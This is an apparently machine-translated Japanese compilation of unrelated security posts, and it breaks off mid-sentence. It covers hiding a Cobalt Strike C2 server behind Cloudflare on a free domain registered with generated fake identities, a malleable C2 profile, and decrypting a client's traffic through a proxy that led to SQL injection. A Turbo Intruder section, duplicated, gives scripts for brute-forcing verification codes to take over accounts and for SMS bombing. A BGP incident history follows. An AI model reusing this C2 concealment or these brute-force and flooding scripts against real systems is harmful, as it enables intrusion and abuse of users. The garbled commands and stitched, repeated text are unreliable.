1049983-20230227144830703-410050090.jpg

デフォルトの証明書を変更

1。CSサーバーによって生成された証明書には、CSのすべての関連特性が含まれているため、ここに変更され、置き換えられます。それを変更するには2つの方法があります。つまり、キーストアを生成してスタートアップファイルを変更します。どちらに関係なく、元のファイルCobaltStrike.storeを削除する必要があります。

方法1キーストアファイルCobaltstrike.store(推奨)

を削除します

1。新しいキーストアファイルを生成します

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co.

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoreType PKCS12

1049983-20230227144831550-104496929.jpg

2。証明書を確認してください

keytool -list -keystore cobaltstrike.store 1049983-20230227144832343-1207281071.jpg3。サーバーを起動して、証明書の署名が同じかどうかを確認し、確認後も証明書署名が同じかどうかを確認します。

1049983-20230227144833138-1324654750.jpg

方法2スタートアップファイルを変更

1。TeamServerは、CSSサーバーを起動する起動ファイルです。キーストアの検出など、環境検出部分があります。このパートを書く方法は、キーストアを検出できない場合、コマンドを使用して新しいキーストアを生成し、ここで生成されたコマンドを変更することです。

2。TeamServerで囲まれた部品を変更する必要があります

1049983-20230227144834432-2038016818.jpg

3.次のコンテンツに変更します。

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co.

1049983-20230227144835487-2027217953.jpg

4.元の./cobaltstrike.store keystoreファイルを削除し、次に開始すると、新しいキーストアファイルが自動的に生成されます。

RM -RF CobaltStrike.store

cdn

で非表示にします

無料ドメイン名

を適用します

1。Freenom公式ウェブサイトを入力し、中国語を翻訳し、下部に引っ張り、開発者を選択します。

1049983-20230227144836612-1216181926.jpg

2。下部に引っ張り、今日クリックしてランダムドメインアカウントを取得します

1049983-20230227144837421-401393924.jpg

3.国際的なメールアドレスを入力し、[メールアドレスの確認]をクリックします。一時的なメールアドレスを使用することをお勧めします。

1049983-20230227144838184-1636008870.jpg

4。数秒後、メールが届きます。電子メールをクリックして、確認をクリックして、Freenom Webサイトにジャンプします。現在のWebページを翻訳した後、[開発者]をクリックします。

1049983-20230227144839006-1381884576.jpg

5.ウェブサイトを最後まで引っ張り、中国語を翻訳し、クリックしてランダムドメインアカウントをすぐに取得します。

1049983-20230227144839826-1580750123.jpg

6.次に、個人情報充填ページにご覧ください

1049983-20230227144840800-1795941883.png

7. IPで選択されたアドレスはフロリダであるため、フロリダの個人情報ジェネレーターと個人情報ジェネレーターを使用する必要があり、2つを組み合わせる必要があります。

1049983-20230227144841675-865336806.jpg 1049983-20230227144842587-547291091.jpg

8。ジェネレーターに従って情報を入力してください。記入した後、チェックしてクリックして注文を完了します。アカウントは正常に登録されています。

1049983-20230227144843337-1650934063.jpg 1049983-20230227144844087-253020840.jpg

9. Webサイトのホームページに戻り、ドメイン名を選択し、xxx.tkを入力し、[可用性]をクリックし、利用可能な場合はチェックアウトをクリックします。

1049983-20230227144844825-600153102.jpg

10. 12か月間の無料版を選択し、最後に[続行]をクリックします。

1049983-20230227144845602-1239189976.jpg

11。最終注文

1049983-20230227144846398-62631944.jpg 1049983-20230227144847138-956029880.jpg

12.ドメインを選択して、ドメイン名が生きていることを確認します。

1049983-20230227144847955-2046821606.jpg

1049983-20230227144848912-1360974677.jpg

CDN構成

1。実際、CDNパーツにはかなりのオプションがあります。ここでCloudFlareを選びました

2。CloudFlareにログインしたら、[サイトの追加]を選択します

1049983-20230227144849797-584795960.jpg

3.無料プランを選択します

1049983-20230227144850575-1858358753.jpg

4. DNSレコードを追加し、保護するIPとレコードを入力します。

1049983-20230227144851699-664827035.jpg

5. xxx.tkのDNSサーバーをCloudFlareに変更します。変更が完了した後、有効になるには一定の時間がかかります

1049983-20230227144852553-675923245.jpg 1049983-20230227144853458-201526483.jpg 1049983-20230227144854220-1629371275.jpg

6.自動HTTPSをオフにして書き直し、常にHTTPSとBroti圧縮を使用します

1049983-20230227144854987-1863074172.jpg

7. [完了]をクリックします

1049983-20230227144855745-1923565084.jpg

8.次のインターフェイスが表示され、設定が有効になります。 CloudFlareを使用して、ドメイン名の解像度操作を実行できます。

1049983-20230227144856530-714652068.jpg

9. www.xxx.tkを分析してテストします

1049983-20230227144857198-628058662.jpg

10。グローバルpingを使用して、CDNが正常に追加されたことがわかりました

1049983-20230227144858256-1387941751.jpg

11.完了するようにSSL/TLS暗号化モードを構成します

1049983-20230227144859102-1493880580.jpg

CloudFlareは証明書を生成します

1。SSL/TLS-Source Serverを見つけて、CloudFlareのDashページで証明書を作成し、それぞれパブリックキーとプライベートキー、つまりServer.PEMとServer.Keyをそれぞれ保存します。生成中に保存する必要があります。そうしないと、秘密鍵が見つからない場合があります。

1049983-20230227144859811-609125808.jpg

2。証明書を申請してキーストアをパッケージ化し、証明書をパッケージ化し、ストアファイルを生成します。

openSSL PKCS12 -EXPORT -IN SERVER.PEM -INKEY SERVER.KEY -OUT www.xxx.tk.p12 -Name www.xxx.tk -passout pass:123456

//keytoolを使用して、CS利用可能なストア形式で証明書ペアを生成します

keytool -imporekeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.tk.store -srckeystore www.xxx.tk.p12 -srcstoreType PKCS12 -SRCSTOREPOREPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASS

1049983-20230227144900727-1863377161.jpg

3。証明書をHTTPSリスニング方法に構成します。申請した証明書を使用する場合は、「可鍛性C2プロファイル」メソッドを使用して操作する必要があります。ここでは、cloudflare.profileを例として取ります。 CSディレクトリに生成されたキーfile.storeを配置し、cloudflare.profileを証明書構成に追加する必要があります。注意する必要があるのは、HTTPS-ティフィフィクションが証明書関連の構成であることです。他のclient.headerのホスト値は、適用したドメイン名である必要があり、他の部分は個人的な状況に従って構成する必要があります。

//上記のStore証明書をTeamServerディレクトリにコピーします

cp ./www.xxx.tk.store/opt/cs44/

//cloudflare.profileファイルを作成します

Vim CloudFlare.Profile

//cloudflare.profileファイルコンテンツ

https-certificate {

keystore 'www.xxx.tk.store'を設定します。

パスワード「123456」を設定します。

}

http-stager {

set uri_x86 '/api/1';

set uri_x64 '/api/2';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';}

サーバー{

出力{

印刷;

}

}

}

http-get {

set uri '/api/3';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';

メタデータ{

base64;

ヘッダー「クッキー」;

}

}

サーバー{

出力{

印刷;

}

}

}

http-post {

set uri '/api/4';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';

id {

uri-append;

}

出力{

印刷;

}

}

サーバー{

出力{

印刷;

}

}

} 4。構成ファイルに問題があることを確認してください。以下は、検証のための構成に成功しています(現在のディレクトリにはcobaltstrike.jarが必要です)

//新しいc2lintファイルを作成します

VIM C2LINT

//c2lintファイルコンテンツ

Java -xx:parallelgcthreads=4 -xx:+useparallelgc -classpath ./cobaltstrike.jar c2profile.lint $ 1

//構成ファイルに問題があるかどうかを確認します

./c2lint cloudflare.profile

0x00概要

ターゲットサイトはhttp://www.example.comです。公式ウェブサイトはAPIの使用文書を提供していますが、テスト後に脆弱性は見つかりませんでした。ディレクトリ、ポートスキャンなどで利用可能なポイントは見つかりませんでした。後で、公式ウェブサイトがクライアントのダウンロードを提供したことがわかりました。

0x01情報収集

最初にクライアントのパッケージをつかみました。 FiddlerとBurpsuiteを使用してキャッチできませんでした。私はそれがHTTPプロトコルではないと疑った。 Wiresharkを使用して、実際にHTTPプロトコルを使用していることを確認しましたが、データパケットは簡単に再生できませんでした。最後に、WSEXPlorerを使用して、指定されたプロセスのパケットをキャプチャし、通信データを正常にキャプチャしました。キャプチャされたデータは次のとおり、緑色はリクエストパケットであり、赤いものは応答パケットでした。在这里插入图片描述

データパケットは2つの部分に分割されます。1つはリクエストラインとリクエストヘッダーです。

在这里插入图片描述

1つはリクエスト本体です。在这里插入图片描述

それを一緒にスプライシングすることは、データパケット在这里插入图片描述をリプレイするために強盗に配置できます

0x03テストプロセス

リクエストパケットが暗号化されてから送信され、返された応答パケットも暗号化されていることがわかります。ただし、暗号化と復号化は常にクライアントで実行されるため、クライアントを分析することから始めることができます。

Exeinfo PEを使用してシェルを確認すると、NETフレームワークC#によって開発されたプログラムが使用されていることがわかります。在这里插入图片描述

DNSPYを使用して、NETプログラムにリバースエンジニアリングツールを使用して、クライアントの暗号化と復号化を分析できます。開いた後、クラスとメソッドの命名はすべて不規則な数値文字であり、コードが難読化されていることがわかりました。在这里插入图片描述

難読化されたコードは読み取り分析を使用せず、DE4DOTを使用して防1障害を試みることができ、多くの難解性暗号化ツールをサポートしてソースコードを難読化できます。

de4dot-x64.exe origin.exe

耐性のあるプログラムOrigin-Cleaned.exe 在这里插入图片描述を入手できます

溶け防止プログラムをDNSPYにドラッグして表示すると、復元されて読みやすくなります。在这里插入图片描述

その通信はHTTPプロトコルを使用しているため、httphelperという名前のクラスがあることがわかりました。分析のフォローアップ。コードには、図に示すように、データを暗号化してPOSTリクエストを開始する方法であると疑われるPOST機能は表示されません。在这里插入图片描述

M.Encrypt()は、要求されたパラメーターを暗号化するために呼び出され、メソッドをフォローアップし、MMクラスの下でキー暗号化関数がtest05関数である必要があることがわかりました。在这里插入图片描述

ブレークポイントを設定して、プログラムが暗号化と送信用にこの関数を呼び出すかどうかを確認します。プレーンテキストと暗号文にブレークポイントを設定します。在这里插入图片描述

F5はプログラムを開始し、アカウントパスワードTest123456を入力し、ログイン在这里插入图片描述

プログラムはブレークポイントで停止し、プレーンテキストには、Test123456とMD5が入力したアカウントによって暗号化されたパスワードが含まれていました。在这里插入图片描述

暗号化されたコンテンツをリリースして取得すると、ここの暗号化関数が呼び出されていることを確認できます。在这里插入图片描述

後に、応答パッケージの復号化がMMクラスのTest06関数を呼び出し、リクエストパッケージの暗号化関数Test05と応答パッケージ復号化関数Test06がDLLの対応する関数を呼び出すことが後に確認されました。在这里插入图片描述

ここでの暗号化と復号化は、2つのセットのメソッドを呼び出します。これを使用して、リクエストパケットの暗号化されたデータを復号化することはできません。テストを容易にし、迅速に暗号化および復号化するために、暗号化と復号化関数が差し引かれ、DLLの関数が独立したプログラムにコンパイルするために呼び出されるため、アルゴリズムを分析する必要はありません。

ここでは、SharpDeveloped Compiledを使用しています。VisualStudioを使用すると、常にエラーが報告されます.

public static string decryptresponse(string cipher){

byte [] bytes=encoding.utf8.getBytes(cipher);

byte [] array=new byte [bytes.length + 128];

int count=program.test06(ref bytes [0]、ref array [0]);

string text=encoding.utf8.getString(array、0、count);

テキストを返します。

}

public static string encryptrequest(string plain){

byte [] bytes=encoding.utf8.getBytes(plain);

int num=bytes.length * 2 + 128;

if(num32){

num=64;

}

byte [] array=new byte [num];

int num2=0;

num2=test05(ref bytes [0]、ref array [0]);

文字列result=encoding.utf8.getString(array、0、num2);

返品結果;

}

暗号化在这里插入图片描述

復号化在这里插入图片描述

次に、PythonのFlask Frameworkを使用して、プロキシ転送プログラムをローカルに作成して、Burpsuiteでのリプレイテストを促進します。

プロセスは次のとおりです。

Plantextデータパケットをローカルにプロキシエージェントに送信します。リクエストパケットを受信します。発信者はリクエストパケットを暗号化します。暗号化されたデータパケットは、サーバー発信者に転送されます。サーバーによって返されたコンテンツは復号化され、プレーンテキストデータに戻り、Flask Import Request、Flaskからローカルに戻ります

urllib.parseインポート見積もりから

リクエストをインポートします

OSをインポートします

ヘッダー={

'user-agent':' mozilla '、

'content-type':'アプリケーション/x-www-form-urlencoded '、

'Accept-Encoding':' gzip、deflate '、

}

app=flask( 'example')

@app.route( '/example'、method=['post'])

def proxy():

form=request.form

request_plain=''

フォーム:のキーの場合

request_plain +='{}={}'。フォーマット(key、form [key])

Response_Plain=test(request_plain)

RESONSE_PLAINを返します

def encrypt(filename):

encrypt_cmd='crypto.exe -encrypt {}'。フォーマット(filename)#暗号化されるコンテンツはファイルから読み取ります

result=os.popen(encrypt_cmd)#exe exeを実行します

request_cipher=quote(result.read())#encryptedコンテンツURLエンコード後、 +サインを%2Bサーバーに変換して認識します

request_cipherを返します

def decrypt(filename):

decrypt_cmd='crypto.exe -decrypt {}'。フォーマット(filename)#decryptedのコンテンツはファイルから読み取ります

result=os.popen(decrypt_cmd)#exe exeを実行します

response_plain=result.read()#復号化されたコンテンツを読み取ります

RESONSE_PLAINを返します

def test(request_plain):

url='http://example.com/api/'

plain_txt='plain.txt'

f1:としてopen(plain_txt、 'w')

f1.writeLines(request_plain)#plaintextをplain.txtに保存します

request_cipher=encrypt(plain_txt)#encrypt plantext

response=requests.post(url=url、data=request_cipher、headers=headers)#send request

cipher_txt='cipher.txt'

f2:として開いている(cipher_txt、 'w')

f2.writeLines(response.text)#storage ciphertext in cipher.txt

Response_plain=decrypt(cipher_txt)#decrypt ciphertext

RESONSE_PLAINを返します

__name__=='__main __' :の場合

app.run(host='0.0.0.0'、port=9999、debug=true)

ここでリクエストされるインターフェイスは毎回同じであり、唯一の変更はリクエスト本体のパラメーターです。 CodeServiceにはすべてのインターフェイスのすべてのプレーンテキストがあり、すべてが抽出されます。在这里插入图片描述

Burpsuite〜在这里插入图片描述で通常テストできます

最後に、SQL注入はインターフェイスで正常に発見されました。在这里插入图片描述

0x04要約

1。指定されたプロセスのパッケージをWSEXPlorerを介してつかみ、HTTPプロトコルのデータパケットが暗号化されていることを発見します。アンチオブスケートを試すために、多くの難解な暗号化ツールDE4DOT-X64.EXE ORIGIN.EXE5によって難読化されたソースコードをサポートします。 DNSPYを使用してプログラムを再コンパイルし、プログラムの暗号化、ブレークポイントの関数メソッドを表示し、F5を押して実行します。プログラムはブレークポイントで停止し、プレーンテキストには、私が入力したアカウントTest123456とMD5によって暗号化されたパスワードが含まれています。 6.プログラムの暗号化と復号化関数セグメントを見つけ、メインコードを切り取り、Python 7に記述します。次に、PythonのFlask Frameworkを使用して、プロキシ転送プログラムをローカルに書き込み、Burpsuiteでのリプレイテストを促進します。プロセスは次のとおりです。Plantextデータパケットをプロキシエージェントにローカルに送信します。リクエストパケットが受信されます。発信者はリクエストパケットを暗号化します。暗号化されたデータパケットは、サーバー発信者に転送されます。サーバーによって返されるコンテンツは復号化され、プレーンテキストデータにローカルに返されます。

元の接続:https://Blog.csdn.net/qq_32727277/article/details/102783316

1。プラグインの紹介

Turbointruderは、多数のHTTPリクエストを送信し、結果を分析し、10億のリクエスト攻撃を採用するげっぷスイート拡張プラグインです。これは、Burpintruderを例外速度、期間、または複雑さを必要とする攻撃で補足するように設計されています。

2。プラグインの原理

最初の要求を使用して接続を確立します。その後のリソースの獲得は、この接続を通じてリソースの長い接続を取得することです。また、HTTPパイプライン(HTTPパイプライン)を使用してリクエストを送信します。このメソッドは、前のリクエストの応答を待っている間に次のリクエストを送信します。送信プロセス中、サーバーが前のリクエストに応答するのを待つ必要はありません。ただし、クライアントは、リクエストが送信される順序で応答を受信する必要があります。 HTTPパイプラインを介してリクエストを開始することは、短い接続の速度の6000%です(Connection: close)

3。インストール方法

インストールターボインクループラグインBURPスイート1049983-20240322091638266-1772887275.png

iv。使用方法

パケットを選択して右クリックしてターボ侵入者に送信を選択します(パケットはここでrawいなければなりません。クロールがない場合は、チューブ侵入者への送信メニューは表示されません)

1049983-20240322091639122-1416561383.png

この時点で、新しいウィンドウが開きます。ウィンドウの上部は元のHTTPリクエストパッケージ、下部は操作コード、中央部はシーンに応じてドロップダウンボックスから特定の操作コードを選択できます。開くたびに、デフォルトは最後のコードで使用されています。これは前回使用されるコードです。

1049983-20240322091639931-438133108.png

コード領域は、ファズする必要がある部品の代わりに「%s」文字を使用する必要があります。対応する操作コードを選択し、下部の攻撃をクリックして攻撃を開始します。特定の使用法の詳細については、それらを3番目のパートの使用シナリオと組み合わせることができます。

5。使用シナリオ

1。検証コードブラスト

主に携帯電話の検証、電子メール検証コードログイン、パスワード回復機能に表示されます。検証コードの爆発では、ユーザーがユーザーを引き継ぐ機能を達成するためにユーザー名の列挙が必要です。

検証コードブラスト操作コード:

Itertools Import製品から

def brute_veify_code(ターゲット、エンジン、長さ):

pattern='1234567890'#辞書の生成に使用される#iterativeオブジェクト

リスト(製品(パターン、繰り返し=長さ)): #Product()のIの場合、複数の反復オブジェクトを受信し、デカルト製品を生成します。繰り返しパラメーターは、反復オブジェクトの数を表します。

code='' .join(i)

Engine.Queue(ターゲット.req、コード)

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、#ターゲットのアドレスを指定します

concurrentConnections=30、#makeサーバーとの30接続

RequestSperConnection=100、#send 100の接続ごとに同時に100リクエスト

Pipeline=True #Enable Pipeline(HTTP Pipelining)モード

))

brute_veify_code(ターゲット、エンジン、6)#modify検証コード数字の数に従ってモディー

DEF Handleresponse(REQ、興味深い):

req.response: #operate応答に「エラー」がない場合、テーブルに「エラー」を追加します

Table.Add(req)

デモ:

Baidu WDパラメーターが数値6ビット検証コードであると仮定します。パラメーター値を「%s」に置き換え、上記のコードを操作コード領域にコピーします

1049983-20240322091640898-513156876.jpg攻撃をクリックして攻撃を開始すると、「%s」が生成された辞書コンテンツに置き換えられていることがわかります。 29431リクエストは31秒で正常にリクエストされ、949のRPSで

1049983-20240322091641780-1235609231.jpg

2。同時テスト

同時脆弱性はビジネスロジックの脆弱性であり、チェックイン、宝くじ、クーポンコレクション、その他の機能ポイントなどの回数を制限する機能ポイントに存在します。並行性テクノロジーを使用してテストして、サーバーが複数回正常に応答できるかどうかを確認します。

同時テストの操作コード:

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、

concurrentConnections=30、

RequestSperConnection=100、

パイプライン=false

))

範囲のIの場合(30): #Create 30リクエスト。

Engine.queue(ターゲット.req、ターゲット、baseinput、gate='race1')

#wait各「race1」タグ付けされた要求が準備ができてから、各リクエストの最後のバイトを送信するまで

Engine.opengate( 'race1')#identify同じ同時テストに属する要求

Engine.comPlete(タイムアウト=60)

DEF Handleresponse(REQ、興味深い):

Table.Add(req)

デモ:このコードは、プラグイン /examples/race.pyでオプションです

1049983-20240322091642585-458205074.jpg同時テストでは、元のリクエストパッケージの処理は必要ないため、次の問題に遭遇する可能性があります。1049983-20240322091643315-442669725.jpgツール実行プロセスのため、元のリクエストパッケージに「%s」フィールドが必要なため、リクエストパッケージのどこにでも「%s」を追加する必要があります。1049983-20240322091644226-1882842261.jpg 1049983-20240322091644975-1755280813.jpg

3.SMS爆撃

検証コードを取得するためにウェブサイトでユーザー登録ページを見つけました。 x:%sをリクエストヘッダーに追加することを忘れないでください(ターボの%sはburp侵入者の§s§に似ています。反復変数はありませんが、ターボの起動時に%sはチェックされます)このコードはプラグイン /examples/race.py

1049983-20240322091642585-458205074.jpg 1049983-20240322091647807-1201234456.jpg同時にデータパケットを送信すると、送信結果の長さの大部分は328。328であることがわかります。1049983-20240322091648484-1597882403.jpg

1。プラグインの紹介

Turbointruderは、多数のHTTPリクエストを送信し、結果を分析し、10億のリクエスト攻撃を採用するげっぷスイート拡張プラグインです。これは、Burpintruderを例外速度、期間、または複雑さを必要とする攻撃で補足するように設計されています。

2。プラグインの原理

最初の要求を使用して接続を確立します。その後のリソースの獲得は、この接続を通じてリソースの長い接続を取得することです。また、HTTPパイプライン(HTTPパイプライン)を使用してリクエストを送信します。このメソッドは、前のリクエストの応答を待っている間に次のリクエストを送信します。送信プロセス中、サーバーが前のリクエストに応答するのを待つ必要はありません。ただし、クライアントは、リクエストが送信される順序で応答を受信する必要があります。 HTTPパイプラインを介してリクエストを開始することは、短い接続の速度の6000%です(Connection: close)

3。インストール方法

インストールターボインクループラグインBURPスイート1049983-20240322091638266-1772887275.png

iv。使用方法

パケットを選択して右クリックしてターボ侵入者に送信を選択します(パケットはここでrawいなければなりません。クロールがない場合は、チューブ侵入者への送信メニューは表示されません)

1049983-20240322091639122-1416561383.png

この時点で、新しいウィンドウが開きます。ウィンドウの上部は元のHTTPリクエストパッケージ、下部は操作コード、中央部はシーンに応じてドロップダウンボックスから特定の操作コードを選択できます。開くたびに、デフォルトは最後のコードで使用されています。これは前回使用されるコードです。

1049983-20240322091639931-438133108.png

コード領域は、ファズする必要がある部品の代わりに「%s」文字を使用する必要があります。対応する操作コードを選択し、下部の攻撃をクリックして攻撃を開始します。特定の使用法の詳細については、それらを3番目のパートの使用シナリオと組み合わせることができます。

5。使用シナリオ

1。検証コードブラスト

主に携帯電話の検証、電子メール検証コードログイン、パスワード回復機能に表示されます。検証コードの爆発では、ユーザーがユーザーを引き継ぐ機能を達成するためにユーザー名の列挙が必要です。

検証コードブラスト操作コード:

Itertools Import製品から

def brute_veify_code(ターゲット、エンジン、長さ):

pattern='1234567890'#辞書の生成に使用される#iterativeオブジェクト

リスト(製品(パターン、繰り返し=長さ)): #Product()のIの場合、複数の反復オブジェクトを受信し、デカルト製品を生成します。繰り返しパラメーターは、反復オブジェクトの数を表します。

code='' .join(i)

Engine.Queue(ターゲット.req、コード)

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、#ターゲットのアドレスを指定します

concurrentConnections=30、#makeサーバーとの30接続

RequestSperConnection=100、#send 100の接続ごとに同時に100リクエスト

Pipeline=True #Enable Pipeline(HTTP Pipelining)モード

))

brute_veify_code(ターゲット、エンジン、6)#modify検証コード数字の数に従ってモディー

DEF Handleresponse(REQ、興味深い):

req.response: #operate応答に「エラー」がない場合、テーブルに「エラー」を追加します

Table.Add(req)

デモ:

Baidu WDパラメーターが数値6ビット検証コードであると仮定します。パラメーター値を「%s」に置き換え、上記のコードを操作コード領域にコピーします

1049983-20240322091640898-513156876.jpg攻撃をクリックして攻撃を開始すると、「%s」が生成された辞書コンテンツに置き換えられていることがわかります。 29431リクエストは31秒で正常にリクエストされ、949のRPSで

1049983-20240322091641780-1235609231.jpg

2。同時テスト

同時脆弱性はビジネスロジックの脆弱性であり、チェックイン、宝くじ、クーポンコレクション、その他の機能ポイントなどの回数を制限する機能ポイントに存在します。並行性テクノロジーを使用してテストして、サーバーが複数回正常に応答できるかどうかを確認します。

同時テストの操作コード:

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、

concurrentConnections=30、

RequestSperConnection=100、

パイプライン=false

))

範囲のIの場合(30): #Create 30リクエスト。

Engine.queue(ターゲット.req、ターゲット、baseinput、gate='race1')

#wait各「race1」タグ付けされた要求が準備ができてから、各リクエストの最後のバイトを送信するまで

Engine.opengate( 'race1')#identify同じ同時テストに属する要求

Engine.comPlete(タイムアウト=60)

DEF Handleresponse(REQ、興味深い):

Table.Add(req)

デモ:このコードは、プラグイン /examples/race.pyでオプションです

1049983-20240322091642585-458205074.jpg同時テストでは、元のリクエストパッケージの処理は必要ないため、次の問題に遭遇する可能性があります。1049983-20240322091643315-442669725.jpgツール実行プロセスのため、元のリクエストパッケージに「%s」フィールドが必要なため、リクエストパッケージのどこにでも「%s」を追加する必要があります。1049983-20240322091644226-1882842261.jpg 1049983-20240322091644975-1755280813.jpg

3.SMS爆撃

検証コードを取得するためにウェブサイトでユーザー登録ページを見つけました。 x:%sをリクエストヘッダーに追加することを忘れないでください(ターボの%sはburp侵入者の§s§に似ています。反復変数はありませんが、ターボの起動時に%sはチェックされます)このコードはプラグイン /examples/race.py

1049983-20240322091642585-458205074.jpg 1049983-20240322091647807-1201234456.jpg同時にデータパケットを送信すると、送信結果の長さの大部分は328。328であることがわかります。1049983-20240322091648484-1597882403.jpg

0x00 BGP(RFC 1771、RFC

4271)定義のフルネームはボーダーゲートウェイです

中国語に対応するプロトコルはBorder Gateway Protocolであり、最新バージョンはBGPV4です。 BGPは、インターネット上のコアインターネットの分散型自律的なルーティングプロトコルです。そのステータスは中核であり、現在、海、陸、空気、7つの大陸と4つの海をつなぐ唯一の外部ルーティングプロトコルであると言うのは誇張ではありません。 BGPは、アプリケーションレイヤープロトコルに属する最も複雑なルーティングプロトコルであり、そのトランスポートレイヤーはTCPを使用し、デフォルトのポート番号は179です。アプリケーションレイヤープロトコルであるため、接続は信頼できると考えることができ、断片、確認、再送信など、BGPのみがfragment、確認、再送信など、基礎となる作業を検討する必要はありません。プロトコルが輸送層に到達できない場合があります。

5dvjubeqe3h8767.jpg

1。関連する重要な概念

AS(自律システム):自律システムは、インターネット上で共通のルーティングポリシーを実行する1つ(時には複数の)組織の管轄下にあるIPネットワーク全体とルーター全体を指します。言い換えれば、インターネットの場合、ASは独立した全体的なネットワークです。それぞれが独自の数字を持っています。通常、自律システムは、ASN範囲:1-65535を備えたグローバルに一意の16桁の数値を割り当てます。 1-64511公共のASNに属し、一方、プライベートASN:64512-65535。

Path:ルーティングは、それぞれのAs範囲のレコードを生成します。 (ルーティングリング予防メカニズム)。

EBGP:外部BGPプロトコル(EBGP)の主な機能は、外部ルーターまたはASにより多くの情報を提供することです。

IBGP:内部BGPプロトコル(IBGP)の主な機能は、AS内部ルーターにより多くの情報を提供することです。

2.3 BGP

の表

Adjancy Table(Adjancy Table):は、すべてのBGP隣接情報を保存します。

2h4hdvzd4mt8768.jpgbgpテーブル(転送)

データベース):各近隣から学んだルーティング情報を保存します。

3ytifgnkxag8769.jpgルーティングテーブル(ルーティングテーブル):bgpは、デフォルトでは負荷分散を行いません。 BGPテーブルから各ターゲットネットワークに到達するルートを選択し、保存するためにルーティングテーブルに配置します。ルーターは、ルーティングテーブルに保存されているルートエントリに従ってデータを転送するだけです。

130banividf8770.jpg

3。 BGPルーターのビジネスロールについて

経済的利益の考慮から、優れているように

最初にCustomerasからルートを選択し、次に続きます

PeerasとProvideras。言い換えれば、ほとんどのネットワークで使用されるルーティングポリシールールは次のとおりです。

1. Customerasからのルートでは、顧客、ピア、プロバイダーに渡すことができます。

2。宣言されたPeerasからのルートは、顧客に渡すことを許可します。

他の仲間やプロバイダーに宣伝することは許可されていません。

3。宣言されたProviderasからのルーティングは、に渡すことができます

顧客、他の仲間に宣伝することは許可されていません

プロバイダー。次の表:

zcl4qtjnxj48771.jpg

0x01 5クラシックBGPセキュリティイベント

1. BGPネットワークのノートロップグラマン部分は、2003年5月に悪意を持って悪用されました(2003)

世界で3番目に大きい軍事メーカーであったグラマンは、世界最大のレーダーメーカーであり、海軍船の最大のメーカーである)は、ネットワークのセグメントをまだ使用していませんでした。また、スパムフィルタリングシステムを避けるために、大量のスパムを送信するために使用されます。最終的に、武器請負業者は、これらのIPアドレスの所有権を2か月間再宣言し、国際的なインターネットでRogue Routeブロードキャストをブロックしました。同時に、スパムアドレスのブラックリストが頻繁に行われるため、すべてのNorthrop GrummanのIPアドレスは禁止されています。

2。パキスタンテレコムのYouTube(2008)の停止2008年2月、パキスタン政府は、ビデオWebサイトのYouTubeに冒とくコンテンツがあるという理由でYouTubeをブロックするようにインターネットサービスプロバイダーに命じました。パキスタンの通信

Telecom)ローカルユーザーアクセスを制限しようとします

YouTube、BGPを介して香港テレコムインケ(PCCW)に新しいルーティング情報(エラー付き)を送信します。 PCCWは、この間違ったルーティング情報を国際的なインターネットにブロードキャストします。当時、パキスタンテレコムはルーターへの静的ルートを追加して、208.65.153.0/24を取得しました。

null0インターフェイス(ブラックホールルーティング); BAテレコムエンジニアは手と静的に震えました

ルート再分配(Ciscoルーター上の異なるプロトコルのルーティングテーブルを同期する方法)はBGPになります。つまり、ルーターの静的ルーティングテーブルがBGPルーティングテーブルに追加され、他のルーティングテーブルに同期する静的ルーティングの優先値は最高のものです。

BGPは、このルートを他のピアへのルーターとして同期しました。最初のものは香港のPCCWでしたが、それから全世界に徐々に同期されました。この時点で、インターネットのほとんどのユーザーは行きたいと思っています

YouTubeのとき、パケットはパキスタンのルーターのヌルインターフェイスにスローされましたが、もちろん開くことは不可能でした。

3。ハッキングチームはBGPを使用します

Hijackは、BGPハイジャックテクノロジーを使用してターゲットネットワークリンクデータをハイジャックするイタリアのハッカーグループ(2015)の攻撃を支援し、Adobe Flash 0dayおよびその他の技術的手段を使用してRCをターゲットネットワークに配信/暗示して、長期監視を完了します。

4. Googleエンジニアの構成エラーにより、800万人の日本人ユーザーが1時間切断されました(2017)Googleエンジニア構成エラーにより、NTT Communications Co.Ltd。のトラフィックが誤ってハイジャックされました。 (NTTは日本の主要なISPであり、2つの小さなISP、OCNとKDDIもサポートしています。

日本では、NTTは767万人の住宅ユーザーと480,000社にインターネットサービスを提供しています)。これにより、日本は約40分間インターネットから切断され、日本ではかなりのパニックが発生しました。地元の日本のメディアの報道によると、日本の内務省と日見の省はこの問題の調査を開始し、ISPに詳細な報告を提供するよう求めました。 Googleのスポークスマンは、それが彼らの間違いであることを認めて声明を発表しました。スポークスマンは、Googleがインターネット上でエラーメッセージを設定し、不便とパニックが引き起こされたことを謝罪したことをAsahi Shimbunに語った。停止事件が発生した後、Googleは8分以内に情報を修正しました。

なぜ日本はこんなに深刻な影響を与えているのですか?今回はGoogleがリークした160,000ルートのうち、25,000を超えるルートがNTTに属するルートアドレスセグメントです。影響を受けるすべてのネットワークでは、NTTを含むルートの数が最大です。実際には、

このルーティングリークには、KDDIのルーティングアドレスセグメントは含まれません。しかし、なぜKDDIはこの災害に苦しんだのでしょうか?

KDDIはVerizonのインターネット転送であるため(IP)

Transit)顧客、つまり、KDDIはVerizonのインターネットトランジットサービスを購入しました。 KDDIは、Verizonから95,000を超えるリークされたルートプレフィックスを受け入れます。別の日本の通信事業者であるIIJも、Verizonから97,000以上のリークルートプレフィックスを受け取りました。

したがって、KDDIまたはIIJからNTTへのインターネットトラフィック、

